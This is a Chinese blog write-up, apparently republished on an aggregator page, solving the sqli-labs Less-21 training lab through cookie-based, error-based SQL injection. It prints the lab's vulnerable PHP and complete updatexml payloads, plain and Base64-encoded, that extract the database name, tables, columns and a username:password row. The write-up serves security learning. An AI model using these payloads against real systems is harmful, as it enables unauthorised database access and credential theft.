当前位置: 首页 > news >正文

sqli-labs:Less-21关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
  • 注入类型:字符串型(单引号、括号包裹)、GET操作
  • 提示:参数需以')闭合
  • 关键参数:cookee

php输出语句的部分代码:

if(!isset($_POST['submit']))
{$cookee = $_COOKIE['uname'];$format = 'D d M Y - H:i:s';$timestamp = time() + 3600;echo "<center>";echo "<br><br><br><b>";echo '<img src="../images/Less-21.jpg" />';echo "<br><br><b>";echo '<br><font color= "red" font size="4">';	echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];echo "</font><br>";	echo '<font color= "cyan" font size="4">';	echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];			echo "</font><br>";			echo '<font color= "#FFFF00" font size = 4 >';echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";echo '<font color= "orange" font size = 5 >';			echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);$cookee = base64_decode($cookee);echo "<br></font>";......
}

本关卡的关键回显语句是echo "YOUR COOKIE : uname = $cookee...$cookee = base64_decode($cookee);,需通过正确的账号密码后才会正确回显信息,并且已知正确的账号和密码,暂且每次提交的账号密码都是admin,根据提示配合报错盲注

在这里插入图片描述


2. 手工注入步骤🎯

2.1. 获悉Cookie格式⚡

下图是使用Burpsuite的Repeater抓取数据包得到的带有Cookie的请求格式,需要注意的是会有2个请求,先是POST请求,再是GET请求,只有GET请求中才携带Cookie

在这里插入图片描述

因为代码中进行了Base64解码,所以我们必须先对其进行Base64编码,这样的加解密操作才能进行正常的sql语句。使用HackBar扩展,接下来的过程只需要将下面编码后的Cookies放入对应位置,粘贴即可。
注:Cookies的开头是uname=


2.2. 获取基本信息⚡

1') and updatexml(1,concat(1,(select database())),3) #
MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMSwoc2VsZWN0IGRhdGFiYXNlKCkpKSwzKSAj

在这里插入图片描述


2.3. 获取表名⚡

1') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JykpLDMpICM=

在这里插入图片描述


2.4. 获取字段⚡

1') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWEgPSAnc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lID0gJ3VzZXJzJykpLDMpICM=

在这里插入图片描述


2.5. 获取数据⚡

1') and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) #
MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMSwoc2VsZWN0IGNvbmNhdCh1c2VybmFtZSwgJzonLCBwYXNzd29yZCkgZnJvbSB1c2VycyBsaW1pdCAwLDEpKSwzKSAj

在这里插入图片描述


2.6. 参数汇总表⭐

参数作用示例
')闭合符号id=1)'
#注释符#'
updatexml()报错注入函数updatexml(1,(select database()),3)
concat()字符串拼接函数concat('a','b')concat(1,(select database()))
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. Base64加解密工具🛠️

加菲在线工具:https://www.orcc.top/tools/base64
锤子在线工具:https://www.toolhelper.cn/EncodeDecode/Base64
白盒子在线工具:https://www.baihezi.com/base64


4. 总结🏁

HTTP Cookie(通常简称 Cookie)是 ​​服务器发送到用户浏览器并保存在本地的一小段数据​​。浏览器会在后续的 HTTP 请求中自动携带该 Cookie,以便服务器识别用户身份或存储用户偏好。

本关卡在http请求头中的Cookie做文章,并且进行一次变种,为了达到sql注入的效果,需同时配合报错盲注获取数据。较为基础的Cookie注入见文章"sqli-labs:Less-20关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149864853?spm=1011.2415.3001.5331
有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.dtcms.com/a/310909.html

相关文章:

  • C/C++常用字符串函数
  • 仿muduo库实现高并发服务器
  • 利用DeepSeek将Rust程序的缓冲输出改写为C语言实现提高输出效率
  • 自动化革命:软件开发的引擎与未来蓝图
  • carla-0.10.0 矿山地图和autoware联调
  • Rust进阶-part2-泛型
  • VAST视频广告技术实现:从零开始搭建视频广告投放系统
  • 大模型笔记1——李宏毅《2025机器学习》第一讲
  • 中科院自动化所机器人视觉中的多模态融合与视觉语言模型综述
  • 【Java】在一个前台界面中动态展示多个数据表的字段及数据
  • 第三阶段—8天Python从入门到精通【itheima】-141节(pysqark实战——数据输入)
  • True or False? 基于 BERT 学生数学问题误解检测
  • Python 第一阶段测试题 答案及解析
  • Vuex 4.0:Vue.js 应用的状态管理新篇章
  • SLAM中的非线性优化-2D图优化之零空间实战(十六)
  • TiDB 和 MySQL 的迁移过程是什么?会遇到什么问题?怎么解决的?
  • 编译器工作原理的显微镜级拆解
  • 【读代码】 KAG项目:开源知识图谱自动构建与推理平台原理与实践
  • PYTHON从入门到实践-18Django从零开始构建Web应用
  • SpringBoot3.x入门到精通系列:2.1 自动配置原理
  • 【软考中级网络工程师】知识点之 VRRP
  • 关于Web前端安全防御CSRF攻防的几点考虑
  • 关于人工智能AI>ML>DL>transformer及NLP的关系
  • MySQL(173)MySQL中的存储过程和函数有什么区别?
  • 【DeepSeek-R1 】分词系统架构解析
  • 快速了解决策树
  • API征服者:Python抓取星链卫星实时轨迹
  • Docker 部署与配置 MySQL 5.7
  • 四、Portainer图形化管理实战与Docker镜像原理
  • 2024年网络安全案例